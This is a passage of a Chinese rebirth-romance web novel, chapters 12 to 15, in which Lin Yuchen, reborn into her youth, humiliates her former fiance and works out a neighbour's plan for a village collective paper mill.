“语晨,行,我看在你的面子上答应还不行吗?你把他约出来,咱们就这么说定。”
林语晨站在菜地边的小道上轻笑,回头看他一脚深一脚浅地走回来。
这把戏还想玩一次呢?前世就是少这张纸,害得赵晓鹤吃了闷亏。
“行啊,明天上午八点吧。咱们约在赵晓鹤家,行吗?”
“好,说定呀,不能再拖了。不然,你们村的仓库就要被挪用了。”楚邵兴奋地蹦上小道,搓着手高兴了好一会。
林语晨心知仓库被挪用的假消息传进楚邵的耳朵,才让他退一步答应这事,还赶着今日中午就来劝。
她也没等他,径直回家。
楚邵推上自行车,本想掉头去找林裕宝说喜事,又想起林语晨说家里有客人……生出股好奇心,以及炫耀的情绪,踩着自行车去追林语晨。
“语晨,上车,我带你回去。”
林语晨看着他的崭新自行车,扫眼垫了布包的后座:“谁坐过了?”
楚邵微愣,女人吃醋的性子是一点没变。车是林菲儿陪着他上县里买,回来这一路,他都载着林菲儿。这布包也是林菲儿早就备下,说是坐着不硌屁股。
“没人坐过。我怎么敢让别的女人坐你的专属后座呢。这垫子是我妈……特意为你准备的。”
林语晨的目光落在他的桃花眼角,细微地抽动着,就知道这货在撒谎。
她妈那性子不霸占着小儿子都是“大气”,哪里会干这种事,恐怕就是林菲儿用这块垫子在暗暗地宣氏主/权。
林语晨也不戳破他,斜瞥着扫见道边那快不大不小的石头,往骑得歪歪扭扭的自行车边靠,逼得楚邵往边上骑。
她的笑脸对着楚邵,吸引他的注意力。
“哎,真的吗?你不是在给林裕宝开车,他女儿长得好,家里又有钱,样样比我强,你怎么不找她合作呢?”
“我……”咯噔一下,自行车的车头碰上石头跳起来,楚邵不能往林语晨这边跳车,不然压到她。另一边是菜田,有高低落差,摔
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下去……容不得他多想,林语晨已经跳开,而他也理所当然地滚进菜地,“哎哟……嘶……”
人仰车翻,自行车的前轮翘起来打滚,发出咕噜噜地快转声。崭新的车座一头顶进泥地,一头压在楚邵的腿间,更别说把手和脚蹬,全是泥和草叶汁水。
楚邵被卡在菜地和自行车后轮中间,来不及抽出的左腿横在档下反卡着,最主要是车座歪了,压着他那隐晦的地方,再有手肘顶在硬泥地,又脏又疼,脸上的表情已经完全扭曲。
“哎呀……嘶……拉我一把啊,语晨。”
“你没事吧?”林语晨早就“慌慌张张”地跳开,避免被车轮子顶到,面上更是“幸灾乐祸”地紧张神色,也忽视他手推车座的地方,“这不怪我啊。你的新车你不熟练,那个我……家里还有客人,我妈在等我拿菜回去,先走了呀。”
没理会楚邵要帮助的手,跑几步就拉开距离,她再回头看那个挡着裆要站起来的渣男,忍不住裂开嘴,哼着小调回家。
楚邵得一大毛病就是犹豫,在做决断时非得拖。好事可以磨,坏事再犹豫就致命。
“软刀子割肉,不让你受够怎么解我那几年的痛!”林语晨在村口回望,没见到他跟来,拎着篮子回家。
但是,她还是低估楚邵的厚脸皮,放下篮子没多久,一声“林姨,是我啊。小邵。”气得她差点提棍子。
林兰香疑惑谁呢,放下手里的活看人,瞧清楚后一张脸直接往下拉。那人看不懂脸色,她也不好把人往外赶,先请人进院。
上门不欺客,这是规矩也是礼数。
林兰香敛着脾气,客气地问:“你这一身怎么弄得呢?”
不是湿了就是沾着泥,不会又跟女儿有关吧?
楚邵听着后院传来的男人笑声,看向洗菜、摘豆子的林语晨,回话:“林阿姨,我骑车没看路,不小心撞着石头,借你家的水洗下手和车。不然,我骑回去让我妈看见,该说我了。林阿姨,你行行好呗。”
又怂又讨好地语气,拿捏了林兰香的软肋。
林兰香看眼仿佛没看到人的女儿,知道这事定和她有关系。不然,自家在村中间,这小子不去村头、村尾洗,非得跑家里……说不过去。
女儿决定要高考,应该不会不知轻重招惹男人。
这楚邵不要脸地找上门,还是打发他好。
“行,你等着,我给你提桶水。”
“那怎么好意思,我自己来,这地儿我熟。”楚邵绕过林兰香,跑到林语晨那边。
林兰香“哎”了声,生出一丝火气。
这小子脸皮这么厚呢?
林语晨没惯着他,洗菜的水端起就浇在跑来的楚邵脚前,让他往后跳开。
“你怎么来了,不是约好明天吗?”
楚邵挨过去:“我不是怕你误会吗?我真没有带过别人,拿了新车就来找你。”
林语晨拿起青菜甩水,一不小心扑了他一脸。
“哎呀,不好意思啊。妈……”
12. 拿命拼
“哎,”林兰香赶紧拿块抹布,递上木桶给楚邵,“你去那边洗吧。晨晨得帮我做饭,没空。”
无论你喊她做什么,她都没空。
“林阿姨,”楚邵要解释,就见林语晨被她妈推进厨房,尬笑着说,“林阿姨,没事,我自己来。今日个家里来什么人啊?又是肉、又是菜……林叔呢?”
“你怎么这么多问题。”林兰香不耐烦地搭句,给他提着水桶到边上洗。
若是女儿喜欢他,得换一种方式招呼他。现在看来,林语晨不喜欢这小子,那只能这样了。不欺客是礼数。
楚邵赶紧接手木桶:“使不得使不得,林阿姨,我自己来。”
林兰香见他接过去,道句客气话:“你在这里洗吧,我还有活要干,先不招待你了。”掉头去忙。
楚邵看着她的背影,沉了下目色。
这个“丈母娘”一直看自己不顺眼,以前是,现在也是。人家说丈母娘看女婿越看越喜欢,偏偏林语晨她妈反着来。
他拿抹布沾着水擦自行车上的泥,一边扫着林家的院子和前世作对比。
院子里的西房是林语晨的房间,因着与林家夫妇的房间搁开,晚上办那事最是方便。
他想着荤腥事不由笑起来,这时候的林语晨正在她这一生最好的时候,必须得拿下手。
后院的泥池边,赵有归见荀攸他们捞鱼玩得忘乎所以,慢慢地退出后院。
靳燕好看到他离开跟着出来,在墙角处喊住他:“有归,你真不回队?大家伙都想着你,张团长也说,只要你同意,可以让你复员。而且,他可是最看好你的人,你爸是他的恩人,你以后……”
赵有归转过身,一张严肃沉默的脸打住他接下来的话。
他走上前,重重地拍在靳燕好的肩头,一字没说,却什么都表达明白了。
靳燕好懂他,见他还要走,又沉声喊:“赵有归,你要当逃兵吗?我瞧不起你!”
赵有归仰首,沁出的泪意压进鼻腔,滚了下喉结:“别因为我影响他们。等吃过饭,你就带他们回去。市里那边已经接手我的档案,明天早上我就得去局里上班。”
靳燕好看着他毅然决然的背影,深吸口气压下滚上的酸涩。
宁全宁走过来:“赵连长还是不答应?”
“嗯。”靳燕好学着赵有归的样子,拍在宁全宁的肩头,“他家的情况你也看到,回去后和你们连怎么说就看你得了。他是迫不得已。”
林大宝看到转回来的两人,三人里就荀攸最年轻最简单。
他叹了声,朝靳燕好和宁全宁说:“有归啊,不容易,出生后就没怎么看到他爸。我是跛了脚,可赵大哥是实打实断了条腿。一直到有归十六岁,赵大哥才回来,虽有政府给的抚恤金,但是顶不了家里的活啊。
沈大嫂一个人拉扯小得这么多年,又送走家里的老太太,好不容易等到赵大哥回来,结果是这个局面,心里能不怨吗?
安生日子没过两年,有归就瞒着家里去当兵。
沈大嫂哭伤了身,昏过去几次。
赵大哥亲自对我说,有归当兵是他自己的想法。有归想知道,部队里究竟有什么好,吸引他爸这么多年不回家。”
靳燕好突然就泪目,感同身受,哽了声:“责任,为人民服务的责任。”
“是啊。咱们当过兵都懂,刻在骨子里的信念。”林大宝深吸口气,发现荀攸已经停下兜鱼,正竖着耳朵听。
他憋回眼泪,接着说起赵有归家的情况。
前院,赵有归看到楚邵时愣了下,同他点头,算是打了招呼。
他进厨房帮林兰香做饭。
楚邵看到他那自来熟的样子也愣住,心里的危机指数卟得一下升至顶端。
他扔掉手里的抹布,跑到厨房外面:“赵有归?有归哥,你回来了?”
林兰香给赵有归打个眼色。
赵有归接到后扫眼闷不啃声烧火的林语晨,朝林兰香点头后走出去。
“嗯。你怎么在这?”赵有归一句话直接以主人的身份在问。
楚邵被问愣,嚅唇、梗脖子,反将一军:“晨晨喊我来家里吃饭呢。”
灶间,林语晨对上林兰香瞪来的眼,举起双手摇头:我没有!
赵有归想起两人在田间的举动,眯着眼笑下。
林语晨可不像是欢迎你的样子。
这一笑迷惑了楚邵,人高马大的赵有归一身正气,给他这种心里有鬼、前世作奸犯科的人压力挺大。
楚邵垂目假咳:“咳,有归哥怎么也在这?”
“吃饭。”赵有归答句,目光落在他后方的自行车,“新车?”
“哎。对,昨天下午新买的车,花了我整整一百五呢。”楚邵自信起来:你赵有归一个兵痞能有什么钱,配不上林家的凤凰。
“是吗?”赵有归不紧不慢地说,“市里厂职工一个月就三十来块的工钱,最好也就六十左右,买一辆自行车起码要工作一季度至半年。你现在干的活挺来钱啊!”
楚邵的手脚瞬间发麻,腿也有点软。
但是,他想起这钱来路正,又挺直腰板:“我……我帮林裕宝开车,正正经经赚的钱。他开我工资,一百五,刚好买这车。”
“哦。这年头能开车都是稀罕有本事的人,好好干。”赵有归貌似赞了他句,就见楚邵的脸色在松弛。
他轻轻地点头,又说:“明日我要去市里的局子报道,今日来林叔家吃顿饭,还有战友在这。”
楚邵的脑海里第一反应:好机会啊。赵有归转入市局工作,打好关系日后好办事。
不行,他还有战友在这,今日个不是时候,得卖他个面子。
“那什么……我骑车摔了跤,路过晨晨家洗个车。这样吧,林阿姨做饭也辛苦,添个人添道菜,麻烦着呢。”
赵有归似笑非笑地看着他:这小子挺滑!现在不滑,将来也成不了江灵市黑名单上的行贿商人。当然,这里头还有个林裕宝!这年头能买得起车可不是简单人,而林裕宝这个镇上人恰好有辆车。
楚邵看着他,感受到一种很强的压迫力,吞口吐沫朝厨房里喊了声:“晨晨,林阿姨,我想起来家里有事先走了,改日再来啊。”
林兰香瞪眼林语晨
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,拿铲子出来:“好啊,慢走啊。”
楚邵等了那么几秒,没见林语晨出来送,推着擦干净的车离开院子。
林兰香大大地松口气,朝赵有归说:“谢谢你啊有归,都是晨晨这妮子,遭得什么烂桃花。”这话已经是不把赵有归当外人。
灶下的林语晨暗暗地翻个白眼,一边也在唾弃:楚邵这家伙听到赵有归在市里工作,就生了巴结的心思。狗改不了吃屎!
骂完了心里有点不得劲:自己不也想利用赵有归的身份做赵晓鹤的入股见证人嘛。
外间,赵有归摇着头:“林阿姨,怎么能怪语晨,一家有女百家求,说明语晨是个好女孩。你帮她把着关准没错。”
“嘿,你还会逗姨开心呢。”林兰香笑着回厨房,又回头说,“我不说客气话,你把你妈喊来。若是她不肯来,一会做好饭我给她端过去。”
赵有归知道母亲也是要面子的人,说:“我回去问问她。”
“我去吧。”林语晨站出来,“妈,我去喊婶婶吧。”
林兰香眼前一亮,点头:“你去喊,她估计会来。行,你去。”
赵有归看着穿过去的林语晨,有心想说什么还是没说出口,转去灶下接手烧火的活。
热热闹闹的一顿饭后,林语晨扶着沈秋霞回家。赵有归看着三个战友,挨个拍过他们的肩头:“回去吧。”
靳燕好抿唇,一把抱住赵有归:“有归,现在你退了,往后别后悔。”
赵有归用力地回抱他:“后悔肯定会后悔。但是,现在,我想得很明白。”他不矫情,直言了心里话。
靳燕好知道他这话一出,再无转圜。
宁全宁见劝不回,就往好得方面想:“连长退了也好。将来我退了就来找你,你可得管我饭碗啊。”
荀攸抿着唇笑:“得算上我,还有濮排长。这次我完不成任务回去,怕是要被他单独操练。”
宁全宁拍在他的肩头:“放心吧。濮季然心里能没点数,连长什么脾气大家都知道。”
赵有归送三人上车,目送吉普车开上村路。
林大宝看他站在道上许久,问了个问题转移他的注意力:“这靳燕好是你们连的指导员?”
赵有归默默地笑,吐了句实话:“营里的教导员。一次行动上,我带的连帮了他弟弟在的连队。他感激我,后来同我说他们营的营长要退,看好了我。他是代表他们营长来看望。”
林大宝不知道说什么好,看着赵有归一张骨骼分明的脸,忍不住拍在他的后背:“你小子啊,大好的前途。”
“林叔,你还能不知道吗?前途不前途的,上战场就是一刀一枪拿命和血拼回来。”赵有归笑对着他,“林叔,回去吧。”
林大宝感慨地点头,心里也是真不懂赵有归的选择,以他现在的年纪、功勋,还有人脉,再往上挪肯定能成。
怎么说呢?理解他想要照顾沈秋霞的决心,但是……可惜啊。
赵有归有他爸的血性,绝对是个好苗子。人也机灵会干事,就可惜啊!
林大宝一个下午都在叹气,比前两日叹得气还多。
13. 城府深
林语晨送沈秋霞回家,转回的路上撞上赵有归。
她本要直接路过,被赵有归喊住。
“语晨,你不是说有事要找我?”赵有归一句话留下她。
林语晨顿了下,记起同赵晓鹤的约定,也想起赵有归有事找自己。
“我们找个地方说?”
沈秋霞在院子里听见两人的动静,喊了声:“有归,妈的线帽子落在晨晨家,你帮妈去拿回来吧。”
赵有归应声,朝林语晨说:“走吧。”
林语晨随他往家走。“楚邵来找我就是为办厂的事。他找林裕宝借了一笔钱,但是这个数就够买两台机器,之后招人、开工资……还得投入一笔钱,思来想去只能找赵晓鹤的爸爸赵松华借钱。
不过,赵松华不是个喜欢凑热闹的人,他就想到找赵晓鹤借这笔钱。”
赵有归点头,抓住重点:“楚邵只想借钱,不想赵晓鹤入股分红?”
“是哎,你怎么知道?”
赵有归笑:“你自己说得他找赵晓鹤借钱。”
林语晨忍不住笑出声,莞尔:“不愧是即将去市局当警察的人,抓重点抓得可真准。”
赵有归受了她的赞。“现在的行情是能借到钱已经很不错,约定给利息了吧?那是顶顶好的事。”
林语晨明白这个道理,前世也是被这个理由说服,与楚邵一起踢赵晓鹤出局。
现在不行,怎么能便宜渣男?
而且同赵晓鹤因此事疏远后,她才觉出这份友谊和信任的珍贵。在很长一段时间里,两人成了老死不相往来的状态,一直到赵晓鹤在外地闯荡后回不了老家,林语晨才有机会重新挽回这份友谊。从此后,她就经常光顾赵晓鹤的古董店,成了常来常往的老朋友。
赵有归默默地观察她的神色,继续说:“语晨,你有没有想过同村一起合作办这个厂?”
林语晨愣地停下步子,眨着眼:“怎么可能?我家是外来户,村集体办厂,成了也跟我家没关系啊。”
——随即她反应过来:我是要高考的人,办造纸厂本就跟我家没关系!
一语点醒梦中人。
赵有归察觉她恍然大悟的神色,接着说:“这事不难,你们落了户,正正经经的赵家村人。你的工作就是说服林叔入股。”
林语晨眨眼,没理明白他的意思。
这就工作?
“我和我爸当兵这么多年,我妈省吃俭用攒下一笔费用,正好拿来入股。只不过……”赵有归欲言又止地看向林语晨。
林语晨恍然明白:赵有归现在的身份不方便啊。但是,他若不趁现在攒点钱,将来他妈看病都不一定出得起这笔费用。
他需要有人帮忙出面入股。
“我……”不想再做这种事啊!
这事看起来不违法,其实走得是擦边。细究起来,对赵有归的身份来说,犯了忌讳。
赵有归看她眼里露出为难,细究了自己的话,发现林语晨没理解自己前后的话。
他解释句:“我没有要你帮忙入股的意思。”
林语晨一脸懵,完全被他搞糊涂。
赵有归勾起唇角,麦色的肌肤上闪着傍晚的霞光。
“若是村办厂,可以召所有乡亲自愿入股,你家能入股,我家也能光明正大地入股。”
林语晨被他的话绕得头晕眼花,感情这家伙兜一大圈子还是在说:私转公!
因为林家本是隔壁林家村,后来因为亲戚的关系,搬入赵家村。因着外来户的关系,林家在赵家村里很多时候被排外。所以,在林语晨的内心深处是拒绝赵家村办集体厂。
“你……你知道吗?公有公的好,私营也有私营的好处。
大锅饭吧,人人都吃,但未必人人会尽心尽力地办事。迟早它会因为各种矛盾散了。不说远的,现在许多办得早的村办厂也出现问题,很多都转成私营户。”
赵有归送她到院门口,眼神落在她唇角处的细腻绒毛,衬在白皙的肌肤上像是一把小刷子。
年轻的外表套着经验老道的灵魂,真是特别奇妙。现在的林语晨和当年那个由司机开车门下车的林总相比,完全是两个人。
一样的灵魂经过时间的洗礼,有了她自己的深度。
赵有归敛起思绪,同意这翻话:“你说得对,确实得有可靠的人盯着厂子,防止偷奸耍滑、以权谋私的事。
你觉得这个人选谁最好?”
林语晨被他的话带着跑偏,反问:“谁啊?”
赵有归笑而不语,进堂屋找线帽子,理所当然没找到帽子。
沈秋霞这个母亲也是为儿子操碎心。
赵有归看向院子里踱步的林语晨,出来后解释句:“有人想赚钱就一定会努力把厂子办好。”
林语晨的脑海里跳出楚邵,赵有归好像赞同楚邵合理借钱。
她一时担忧赵有归站在楚邵那边,急得不行:“楚邵这种人算什么好人?他搞垮厂子,回头花个几百块钱买厂子,由公转私营,那不是轻轻松松的事。村办厂或早或晚逃不开这个结局,人少有不自私的。”
赵有归对这个“自私”的话题很有兴趣,反击句:“你也承认有那么几个大公无私的人,对吧?历史上,我们在的土地几经战乱,却依然能站起来,保持完整,就是有那一批大公无私的人。”
林语晨无语地看着他,谁要跟你讨论这个?不是在说楚邵吗?
她的思绪又被带偏。说起来,未来的赵晓琳算一个无私奉献者,而眼前论调老高的赵有归……算吗?
这人的眼睛黑亮有神,像两汪漩涡,深不见底,却相信世上真有大公无私的人。
林语晨撇开对视的眼神,不驳他的面子,迎合句:“对,有。但是,我就认识这么一个……”而且现在她还不是那个将大半生奉献给病人的好医生。
林语晨非要挣一程的态度让赵有归忍不住侧头压下笑意。
他的眼里泛起涟漪,在熟悉的林语晨的人生里,若说有这么个无私者,也就那个在她病入膏肓时帮助过她的女孩了,未来得赵晓琳确实大公无私。
不提楚邵了,那就可以说回眼前的话题。
赵有归看着她,认真说:“你担心的事我不会让它发生,因为我在这。”
听起来像是自大的话,却像一击锣鼓震响了听话人的耳朵。
林语晨默默地看着他离开自家的院门,一时间仰天无语。
“所以,他到底要我帮什么忙?”
不插手楚邵的事?
或者让我提醒村长召集村人集体出资办厂,我有这个资格吗?
“我的天,这男人不会也是重生吧?”
林兰香从后院回来,一巴掌拍在林语晨的后脑勺。
“嘀嘀咕咕念叨什么,没事了就回屋里温习书。等你回了学校,老师问起问题,你一问三不知,丢不丢人啊。”
林语晨瘪嘴,轻嗯了声,回房间看书。
坐在书桌前,想到赵有归退伍回来是因为林爸得一通电话……
“回来探病就好,做什么要退伍呢?不对,若他这次不回来,沈秋霞不看病就交待了……沈秋霞的病直接让赵有归决心退伍转职,也说得过去。
哎,这个男人有病吧,绕这么大的圈子
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,净说些没用的话。
我本来就不想入股……不对,若是村集体办厂,我爸走动走动,确实能入股,光明正大地入股赚钱。
若是楚邵办私人厂,再出钱租厂子,每年给村里一笔房租钱,压制村集体办厂的欲望。
赵有归不想楚邵办私企,而是想要搞公办厂!因为他也想入股赚钱,而且不擦边,走正途!
所以,赵有归做我的工作,让我阻止赵晓鹤借钱给楚邵!
妈呀……这个男人的脑子里藏得是九曲十八弯吗?这么点事,明说就好呀。”
林语晨被想明白的事震到无语,抓张纸重新整理一遍思路:赵有归,村办厂;楚邵,私人厂,赵晓鹤,林语晨……
“赵有归想要我阻止赵晓鹤借钱给楚邵,让村集体办这厂。家家投钱拿分红!这是赵有归这番话里最主要的意思:不让赵晓鹤借钱给楚邵
他找我说是因为这事我才是关键人。我可以左右赵晓鹤的想法!
其次,赵有归又说:‘有人想赚钱就一定会努力把厂子办好’,他点得这个人是在说楚邵吗?
楚邵是重生回来的人,虽然渣在骨子里,但是他前世积攒下来得对生意经验的触角还在,由他起头拓开造纸厂的销售市场,就是最好的人选。
尽管赵有归不知道楚邵重生,但是他知道楚邵想要赚钱,就会努力把厂子办好,至少在厂子起步的时候,楚邵一定会努力!
最后,赵有归自大地说:因为我在这。孙猴子逃不出佛祖的五指山。赵有归在市局,抓得不就是作奸犯科嘛,正好远程盯着厂子的运营,不怕楚邵以权谋私搞小动作。”
林语晨理清楚思路,笔尖点在“赵有归”三字。
这个男人城府极深的形象彻底在她的脑海里扎根。
“我服了,绕这么大圈子,非得我左思右想,你直接说不行吗?这男人在部队里都学些什么,埋地雷得吗?”
林语晨本应该很沉得住气,却因为赵有归得这番谈话静不下心。
她在屋子里来回走动,眼神再次落在桌面上的“赵有归”三字,有种遇到一个非常有意思的“对手”的喜悦感。
殊不知赵有归得这番谈话,就是想要在林语晨的心里印上存在感。
人啊,最经不起琢磨。
琢磨透了,那没法看。琢磨地恰到好处才是最合适,引起别人的好奇心,生出一探再探的欲望。
林语晨很兴奋啊,往屋外张两眼后趁着林兰香不在,偷溜出门。
她要去找赵晓鹤,把赵有归的想法透给他,再商量个对策。
若去赵晓鹤家,不绕路,就得经过赵有归家。
林语晨本想目不斜视地经过他家,却听到沉闷有力的劈砍声,忍不住扫去眼。
这一眼让她生了春日里女人本就会动的涟漪。
赵有归穿着土得掉渣的蓝色背心,套在麦色肌肤上,两肩和臂膀上绷鼓的肌肉一张一松,仿佛会呼吸。他举起斧头时,露出茂盛的腋下,劈下去后,桩上的木头应声裂成几半。
军绿色的裤子,系着棕色的皮带,掐出窄紧的腰身。他弯下腰,拾起还粗的木头,宽松的裤子顺姿势绷紧,括出腰下挺翘的臀,笔直得腿,被薄裤绷出大小腿的肌肉形状。
军绿色的解放鞋扎在硬实的泥地,真正是可以顶天立地的男人。
不用细看,光听声就知道他有一把子使不完的力气。
林语晨是过来人,看过杀猪也吃过猪肉,男人的肌肉好不代表那方面能行,但是,粗且性的喉结、比例不错的腰臀、乃至劈砍时发出沉闷有力的声响……代表他那方面一定能行。
14. 分寸感
赵有归的警惕性还在,弯下身后回头,门口一闪而过熟悉的碎花衬衫。目光追随院子的矮墙走线,落在那条半个后脑勺上的雪亮中分线处,线两侧是服帖的麻花辫纹路。
林语晨在他回头时快步路过他家门,自忖不是赵晓琳这妮子,看到赵有归就走不动路。她林语晨不存在这情况。
赵有归看着那抹雪亮消失在院角,不由弯起唇,再次捡起木头放在木桩,继续劈砍。
枣树下的沈秋霞看到林语晨瞥儿子的模样,也看到儿子追随林语晨的目光。
她低头笑下,又想起赵晓琳的事,喊了声:“有归。”
“妈,怎么了?”赵有归收敛笑意,放下斧子走到母亲的旁边。
沈秋霞看着人高马大的儿子,虽说家里条件不好,但儿子有工作,人年纪也在这摆着,该娶个媳妇。
“这次,你回来就不走了,工作也落实,想过讨媳妇的事吗?”
赵有归一时没答。面对母亲,他的再多想法也会犹豫,说不好怕再伤了母亲的心。
沈秋霞轻咳两声,收拾手里缝着的衣服。
“妈年纪大了,一个人冷情,想要多个人陪着吃饭。你现在的工作能常回家,娶一个回来,咱也不亏待人家,你媳妇不会像我这样过一辈子。”
赵有归看着沈秋霞红了的眼睛,垂敛目光。
他蹲下身,拿过母亲膝头的草绿色衣衫,缓缓说:“妈,我和你商量件事,单位给安排房子,你同我进城里住,这样你看病也方便。”
沈秋霞愣怔,第一反应是城里有房子,赵有归结婚更容易。第二反应是进城啊?不习惯啊!
“妈不去,妈在这院子住小半辈子,习惯了。你有假期就常回来看看我。琳琳那个事怎么说?”
赵有归哂笑,说半天原来是为这事。
他到一旁拿张板凳,坐在沈秋霞的旁边,捞过她膝头的针线,拿过衣服自己缝。
“我提醒她好好学习,不要为不紧要的事分心,不要耽误高考。话没说清楚,但是她听进去了。等考完试,我再和她说个明白。”
沈秋霞看着儿子利落的穿针引线,深吸口气:“以后你也别说,这丫头一定考得上大学。等上了大学,学校的男娃子多了,她就把你忘了。若是你说个明白,乡里乡亲的伤和气,也伤琳琳的心。”
赵有归莞尔。
“她啊,直起来,比我还一根筋。妈,你放心,我有分寸。”
将来有那么个人让赵晓琳真正的刻骨铭心,但绝对不是你儿子!
沈秋霞蹙眉:“你……喜欢琳琳?”
赵有归咬断线,注视母亲,认真说:“喜欢。赵晓鹤喜欢赵晓琳一样的喜欢。我羡慕赵晓鹤,有这么个聪明懂事、学习好的妹妹,打算抢过来做你的干女儿,我的亲妹妹,可好?”
沈秋霞被儿子逗笑,松了肩头,一把拍在儿子的膝头,反倒打疼自己的手。
母亲常年不笑的脸上难得露出轻松的笑容,赵有归为此宽了口气。
他抓过沈秋霞常年劳作的手,握在掌心,再次说:“妈,别担心晓琳的事。我会解决,不会伤害她。
你跟我进城做个全身检查。等身体调理好,医生说你没事,咱们再回来。”
“我好着呢。你若是把晨晨娶了,我更好。”沈秋霞说完抿唇,发现儿子没反驳,心里有了底,“刚才,我看到你看她的样子了,你看到她时是不是乐了?”
赵有归收回手,把缝好的衣服放回母亲的膝头,缓而有力说:“妈,等几年,等我在局里干出点成绩,像个能撑起家的男人,再来考虑娶媳妇的事,好吗?”
“你现在就能撑起来!”沈秋霞也明白儿子的心。人刚从部队回来,什么都没落实,别人确实不放心把女儿交过来。
难得儿子掏心掏肺地说个明白,既不红脸也不粗脖子,哪能不好啊?
沈秋霞笑睨他:“妈就依你这句话,再等几年。不过,妈也会老,别让我等太久。不然,我抱不动孩子,让你们自己带娃。”
赵有归听后笑而不语。
沈秋霞又想起一茬,打探着说:“我听别人说,隔壁村有个小伙子在追晨晨,人小伙长得可好看了,林家村人叫他‘小美大姑娘’。人家工作也好,买得起自行车。
回头啊,你拿上存折,上农行取钱,到县里也买一辆自行车。咱们的工资不能和人家比,但是不能低人一头,这是在给你、给未来媳妇挣脸呢。”
这年头形容好看的男人叫“小美”,跟粤港等地叫“靓妹”一个意思。楚邵在他们村就有这个外号,只是,楚邵这人脾气古怪,阴晴不定,没人敢当面这么叫他。
“妈,我去市局上班,得上县里坐车。”赵有归发现沈秋霞要变脸,赶紧追句,“等到市里,我看情况再买辆自行车,好吗?”
沈秋霞缓了情绪,又说:“从县里回村,路也不少。你没个自行车光两条腿走路,不是浪费时间吗?”
“妈说得没错。等我攒够工资,城里买一辆,咱家里也买一辆,行吗?”赵有归见她笑,暗松口气。
他发现沈秋霞还是没给句进城里住的实话,直接拍板,“妈,你不应我就当你说定了,等我进市里安顿好,接你过去住一阵子。你不想我晚上回家没人做饭、吃不上顿热乎吧?”
沈秋霞差点把针线筐扔过去砸他,唾句:“呸,你娶个媳妇不就解决吗?”
话题又被绕回来。
赵有归笑摇着头,继续去劈柴。
他弯身时,眼睛落在院墙处:林语晨去的方向应该是赵晓鹤家,看来她把自己的话听进去,而且听明白了。
他含笑低头,拾起木头后继续劈着。劈久一点,说不定一会能看到她往回走,就能知道她的心思。
赵晓鹤家的院子里,林语晨把赵有归的意思一说,赵晓鹤猛地一拍桌子,眉飞色舞地赞。
“有归哥大气啊。这想法可太好了,不愧是当过兵、在外地见识过一番。”
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>林语晨无语地看着他的兴奋劲:这里面有必然联系吗?我爸能有这番见识还是听村广播和看报纸悟出来。
赵晓鹤嘿嘿一笑,又说:“语晨,其实,我爸之前就说,别的村都是办集体厂子,就是我们村和隔壁的林家村的主任搞不清状况,不知道跟着时代走。如今分产到户,又赶不上私人办厂的甜头。
其实吧,集体和私人厂子都好,还得看怎么扯起来。”
“话是没错。”林语晨应说。如果不考虑高考,这厂子无论如何是要办私营,否则,进城不进城的另说,没钱是真看不起病。
赵晓鹤挪近了点,低声细气地吐槽:“不过,咱们村不一定办得起厂子,办起来也不一定是大厂。你看我二叔那帮人的吝啬样儿,肯定不会动员大家办厂。他们这些人,跟以前的守财奴一样,从村里拿钱出去,不跟挖他们的肉一样。”
林语晨忍不住要笑,拍在赵晓鹤的手臂。
“你怎么搞得跟做贼一样,怎么能这么说你二叔。大家都穷才会舍不得花钱。一分钱一份力,得花在刀子上。”
赵晓鹤的二叔赵松林是村里的老干部,曾经也做过村主任,后来换届,成了村里村民组长的头头。
他在村里说得上话,多年以后还被推为乡贤,属于真正的老干部。
赵晓鹤没敢再说他二叔的坏话,挺直腰杆:“语晨,若是这样,你的想法不就落空了?”
他摸着被林语晨拍过的手臂处,眯着眼担忧地看她。
“没事。本来我听你的话,就想着复读高考。高考嘛,若是考上也是个出路。办厂的事本就跟我没多大关系。”
林语晨轻轻地笑着,拉了两侧的辫子,颇为轻松,“哎,这样的话,咱们的计划落空。你爸那答应给你的钱……”
“嗐,我爸自己不想着挣钱,想给我一笔钱让我赚钱。他是觉得我不是读书的料,早点出去打拼,学点本事。本来吧,听你的话投厂子是个好事。不过,我不喜欢那个楚邵啦。你不掺和这事,正好我也不想掺一脚,管他去死。”
赵晓鹤巴拉巴拉说完,才觉出吐了心里的真话。他有些担忧林语晨不喜欢这样的自己,小心问,“语晨,我不是这个意思啊,若是你要办厂子,我身家性命都可以投进去。”
林语晨哪会听不懂他的话意,只是很感慨。
“你想投钱全是因为我一句话,晓鹤,谢谢你信任我。”
赵晓鹤笑出酒窝,干净的脸上因着朦胧的眼神带着丝丝的憨气。
“话说回来,有归哥的法子挺好,村办厂,有钱大家赚,亏么也一起亏。赵晓琳的眼光真不错呢。”
林语晨看他那股简单的憨劲,真想戳戳他。
你妹的眼光好,你的眼光可不咋地,碰到个坑友!
“我考虑过了,赵有归想要办成这件事不容易。他家与你们家在一个村,但是出了五服,说到底,他家在村里也说不上重要话。村主任那边,简单的事可能会答应,这件事……难!”
15. 嫁妆帕
赵晓鹤听了林语晨的分析,思考着点头:“你说得有道理。我看在赵晓琳的面子上帮赵有归一把吧,正好在我爸面前露露脸,证明我也是能干大事的人。”
“怎么帮啊?”林语晨惊奇地看着他。
赵晓鹤一脸容光焕发,起身准备出门,自信地说:“山人自有妙计。你家入股的事也包在我身上,保准给你办妥。”说完,他就跑进房间。
林语晨看他风风火火地回屋拿张纸和一个镶金边的红漆盒子蹦出院门,追了几步:“你干嘛去啊?”
“语晨,你先回家,我有好消息就去找你。”临出门,赵晓鹤被门槛绊了下,不忘抓紧手里的红漆盒子,稳住身后回头傻笑两声,抱着盒子跑掉。
几只燕子带着剪刀似的尾巴从院子上方掠过,好像划出跳跃式的咯嚓咯嚓声。
林语晨看着一蹦蹦走远的近视眼大男孩,扶着额头无声地叹。
这人不会去给他二叔送礼吧?
听说赵家分家的时候,古董家当基本都给老大赵松华。
赵二叔觉得老物件不干净,不符合时代的气息,一件没分走。其实,赵松林有觉悟,想走仕途。那时候必须要干干净净的出身才有机会,而代表旧时代的东西他就没敢要一件。
赵三叔觉得老东西管不了肚子,分家的时候不如多拿点钱实际。
倒是赵小姑想要家里的老古董。老太公是那种嫁出去的女儿泼出去的水,只分给她几件亮眼的老家具做嫁妆。
赵家老几辈攒下的古董基本都还在赵晓鹤家。
林语晨想着赵家的事,离开赵晓鹤家。
走在村道上环顾村子,生出一种难以形容的清净。
她慢慢地停下脚步,听着赵有归家院子里传出的劈砍声,脑海里跳出“人间烟火”四字。
上一世的住院期间,消毒水的味道充斥鼻腔,怎么抹都抹不干净。即使病房里放着鲜花,也觉得那花没有颜色没有味道没有生机。
